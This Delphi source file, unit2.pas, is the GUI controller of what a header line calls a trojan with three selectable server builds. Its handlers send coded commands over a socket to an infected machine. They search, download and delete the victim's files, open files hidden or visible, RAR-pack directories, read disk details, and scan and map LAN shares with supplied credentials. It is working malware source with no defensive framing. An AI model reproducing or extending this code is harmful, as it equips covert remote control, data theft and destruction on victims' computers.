unit2.pas

由于该木马有三个服务端可以选择生成

 statusbar1.Panels[0].text:='正在删除指定的文件夹...'  ;
end;

procedure TForm2.ComboBox2Change(Sender: TObject);
begin
 combobox2.Enabled :=false;
 edit4.Text:=combobox2.Text+'\*.jpg';
 combobox2.Enabled := true;
end;

procedure TForm2.SpeedButton1Click(Sender: TObject);
var
 b,sock:integer;
 temp:string;
begin
 listbox1.Clear ;
 listview3.Clear ;
 speedbutton1.Enabled:=false;
 speedbutton5.Enabled:=true;
 listview3.Columns[0].caption:='文件搜索结果显示...';
 form2.PopupMenu3.AutoPopup:=true;
 if copy(edit4.Text,length(edit4.text),1)='\' then
 edit4.text:=copy(edit4.text,1,length(edit4.text)-1);
 sock:=strtoint(statusbar2.Panels[0].text);
 b:=lastpos('\',edit4.Text);
 temp:='58'+copy(edit4.text,1,b-1)+'|'+copy(edit4.text,b+1,length(edit4.text)-b);
 send(sock,temp[1],length(temp),0);
 statusbar3.Panels[0].text:='正在搜索符合条件的文件...'  ;
end;

procedure TForm2.N10Click(Sender: TObject);
var
 f:string;
 sock:integer;
begin
 If (listview3.ItemIndex = -1) Then Exit;
 sock:=strtoint(statusbar2.Panels[0].text);
 f:='18'+listview3.ItemFocused.caption;
 send(sock,f[1],length(f),0);
 statusbar3.Panels[0].text:='正在查看的文件大小...'  ;
end;

procedure TForm2.N12Click(Sender: TObject);
var
 f:string;
 sock:integer;
begin
 If (listview3.ItemIndex = -1) Then Exit;
 sock:=strtoint(statusbar2.Panels[0].text);
 f:='22'+listview3.ItemFocused.caption;
 send(sock,f[1],length(f),0);
 statusbar3.Panels[0].text:='正在删除远程文件...'  ;
end;

procedure TForm2.PageControl1Change(Sender: TObject);
begin
 form2.StatusBar1.Panels[0].text:='';
 form2.StatusBar3.Panels[0].Text:='';
end;

procedure TForm2.N11Click(Sender: TObject);
var
 f:string;
 a,sock:integer;
begin
 If (listview3.ItemIndex = -1) Then Exit;
 edit6.Text:=extractfilepath(paramstr(0))+extractfilename(listview3.ItemFocused.Caption);
 a:=CreateFile(pchar(form2.Edit6.Text),GENERIC_WRITE,FILE_SHARE_WRITE,
 nil,OPEN_ALWAYS, FILE_ATTRIBUTE_NORMAL, 0);
 if a=-1 then
 begin
 statusbar3.Panels[0].text:='文件写入失败.';
 exit;
 end;
 closehandle(a);
 edit5.Text :='0';
 sock:=strtoint(statusbar2.Panels[0].text);
 f:='28'+listview3.ItemFocused.caption;
 edit2.text:=listview3.ItemFocused.caption;
 deletefile(pchar(edit6.text));
 send(sock,f[1],length(f),0);
 statusbar3.Panels[0].text:='正在下载文件...'  ;
end;

procedure TForm2.N15Click(Sender: TObject);
var
 sock:integer;
 f:string;
begin
 if MessageBox(0,'是否删除该目录下的所有文件?(不含子目录)','提示',MB_YESNO)=6 then
 begin
 sock:=strtoint(statusbar2.Panels[0].text);
 f:='61'+edit1.Text;
 send(sock,f[1],length(f),0);
 statusbar1.Panels[0].text:='正在删除该目录下的所有文件...'  ;
 end;
end;

procedure TForm2.N14Click(Sender: TObject);
var
 f:string;
 sock:integer;
begin
 If (listview2.ItemIndex = -1) Then Exit;
 sock:=strtoint(statusbar2.Panels[0].text);
 f:='22'+edit1.text+listview2.ItemFocused.caption;
 send(sock,f[1],length(f),0);
 statusbar1.Panels[0].text:='正在删除远程文件...'  ;
end;

procedure TForm2.N16Click(Sender: TObject);
var
 f:string;
 sock:integer;
begin
 If (listview2.ItemIndex = -1) Then Exit;
 sock:=strtoint(statusbar2.Panels[0].text);
 f:='21'+edit1.text+listview2.ItemFocused.caption;
 send(sock,f[1],length(f),0);
 statusbar1.Panels[0].text:='正在打开远程文件-正常方式...'  ;
end;

procedure TForm2.N17Click(Sender: TObject);
var
 f:string;
 sock:integer;
begin
 If (listview2.ItemIndex = -1) Then Exit;
 sock:=strtoint(statusbar2.Panels[0].text);
 f:='64'+edit1.text+listview2.ItemFocused.caption;
 send(sock,f[1],length(f),0);
 statusbar1.Panels[0].text:='正在打开远程文件-隐藏方式...'  ;
end;

procedure TForm2.N18Click(Sender: TObject);
var
 f:string;
 sock:integer;
begin
 If (listview3.ItemIndex = -1) Then Exit;
 sock:=strtoint(statusbar2.Panels[0].text);
 f:='21'+listview3.ItemFocused.caption;
 send(sock,f[1],length(f),0);
 statusbar3.Panels[0].text:='正在打开远程文件-正常方式...'  ;
end;

procedure TForm2.N19Click(Sender: TObject);
var
 f:string;
 sock:integer;
begin
 If (listview3.ItemIndex = -1) Then Exit;
 sock:=strtoint(statusbar2.Panels[0].text);
 f:='64'+listview3.ItemFocused.caption;
 send(sock,f[1],length(f),0);
 statusbar3.Panels[0].text:='正在打开远程文件-隐藏方式...'  ;
end;
procedure TForm2.SpeedButton2Click(Sender: TObject);
var
 sock:integer;
 temp:string;
begin
 pagecontrol1.Enabled:=false;
 listbox1.Clear ;
 listview3.Clear ;
 listview3.Columns[0].caption:='硬盘信息显示...';
 form2.PopupMenu3.AutoPopup:=false; 
 sock:=strtoint(statusbar2.Panels[0].text);
 temp:='69';
 send(sock,temp[1],2,0);
 statusbar3.Panels[0].text:='正在接收远程主机的硬盘信息...'  ;
end;

procedure TForm2.SpeedButton3Click(Sender: TObject);
var
 sock:integer;
 temp:string;
begin
 pagecontrol1.Enabled:=false;
 listview3.Clear ;
 listview3.Columns[0].caption:='墙纸路径显示...';
 form2.PopupMenu3.AutoPopup:=true;
 sock:=strtoint(statusbar2.Panels[0].text);
 temp:='66';
 send(sock,temp[1],2,0);
 statusbar3.Panels[0].text:='正在查看远程墙纸的路径...'  ;
end;

procedure TForm2.SpeedButton4Click(Sender: TObject);
var
 sock:integer;
 temp:string;
begin
 pagecontrol1.Enabled:=false;
 listview1.Clear ;
 listview2.Clear ;
 combobox1.Clear ;
 edit1.text:='';
 sock:=strtoint(statusbar2.Panels[0].text);
 temp:='16';
 send(sock,temp[1],2,0);
 statusbar3.Panels[0].text:='正在刷新磁盘驱动器的信息...'  ;
end;

procedure TForm2.SpeedButton5Click(Sender: TObject);
var
 sock:integer;
 temp:string;
begin
 form2.PageControl1.Enabled:=false;
 form2.PopupMenu3.AutoPopup:=true;
 sock:=strtoint(statusbar2.Panels[0].text);
 temp:='77';
 send(sock,temp[1],2,0);
 statusbar3.Panels[0].text:='正在停止远程的文件搜索...' ;
end;

procedure TForm2.N21Click(Sender: TObject);
var
 f:string;
 sock:integer;
begin
 sock:=strtoint(statusbar2.Panels[0].text);
 f:='73'+edit1.text;
 send(sock,f[1],length(f),0);
 statusbar1.Panels[0].text:='正在调用RAR打包该目录下的所有文件(不含子目录)...'  ;
end;
procedure TForm2.N20Click(Sender: TObject);
var
 f:string;
 sock:integer;
begin
 If (listview2.ItemIndex = -1) Then Exit;
 sock:=strtoint(statusbar2.Panels[0].text);
 f:='72'+edit1.text+listview2.ItemFocused.caption;
 send(sock,f[1],length(f),0);
 statusbar1.Panels[0].text:='正在调用RAR压缩指定的文件...'  ;
end;

procedure TForm2.CheckBox1Click(Sender: TObject);
begin
 if checkbox1.Checked then
 begin
 label4.Enabled :=true;
 label5.Enabled :=true;
 edit7.Enabled :=true;
 edit8.Enabled :=true;
 end else
 begin
 label4.Enabled :=false;
 label5.Enabled :=false;
 edit7.Enabled :=false;
 edit8.Enabled :=false;
 end;
end;

procedure TForm2.N23Click(Sender: TObject);
var
 f,s:string;
 sock:integer;
begin
 If (listview4.ItemIndex = -1) Then Exit;
 s:=Inputbox('共享映射','输入一个盘符:          ','');
 if s='' then exit;
 sock:=strtoint(statusbar2.Panels[0].text);
 if not checkbox1.checked then
 f:='78'+s+listview4.ItemFocused.caption
 else
 f:='79'+s+listview4.ItemFocused.caption+'|'+edit7.text+'~'+edit8.text;
 send(sock,f[1],length(f),0);
 statusbar4.Panels[0].text:='正在映射指定的共享目录...';
end;

procedure TForm2.N24Click(Sender: TObject);
var
 f,s:string;
 sock:integer;
begin
 s:=Inputbox('取消映射','输入映射的盘符:          ','');
 if s='' then exit;
 sock:=strtoint(statusbar2.Panels[0].text);
 f:='80'+s;
 send(sock,f[1],length(f),0);
 statusbar4.Panels[0].text:='正在取消共享映射...';
end; 
procedure TForm2.SpeedButton6Click(Sender: TObject);
var
 f:string;
 sock:integer;
begin
 If (frmmain.sinsrvs.ItemFocused.SubItems[1]<>'Lan') then
 begin
 statusbar4.Panels[0].text:='该功能仅适用于内网主机.'  ;
 exit;
 end;
 speedbutton6.Enabled:=false;
 speedbutton7.Enabled:=true;
 listbox3.Clear;
 listview4.Clear;
 sock:=strtoint(statusbar2.Panels[0].text);
 f:='68';
 send(sock,f[1],2,0);
 statusbar4.Panels[0].text:='正在扫描局域网的共享资源...可能用时较长';
end;

procedure TForm2.SpeedButton7Click(Sender: TObject);
var
 f:string;
 sock:integer;
begin
 sock:=strtoint(statusbar2.Panels[0].text);
 f:='81';
 send(sock,f[1],2,0);
 statusbar4.Panels[0].text:='正在停止局域网的共享扫描...'  ;
end;

procedure TForm2.N22Click(Sender: TObject);
begin
 If (listview4.ItemIndex = -1) Then Exit;
 clipboard.SetTextBuf(pchar(listview4.ItemFocused.Caption));
 statusbar4.Panels[0].text:='共享名复制完成.';
end;

end.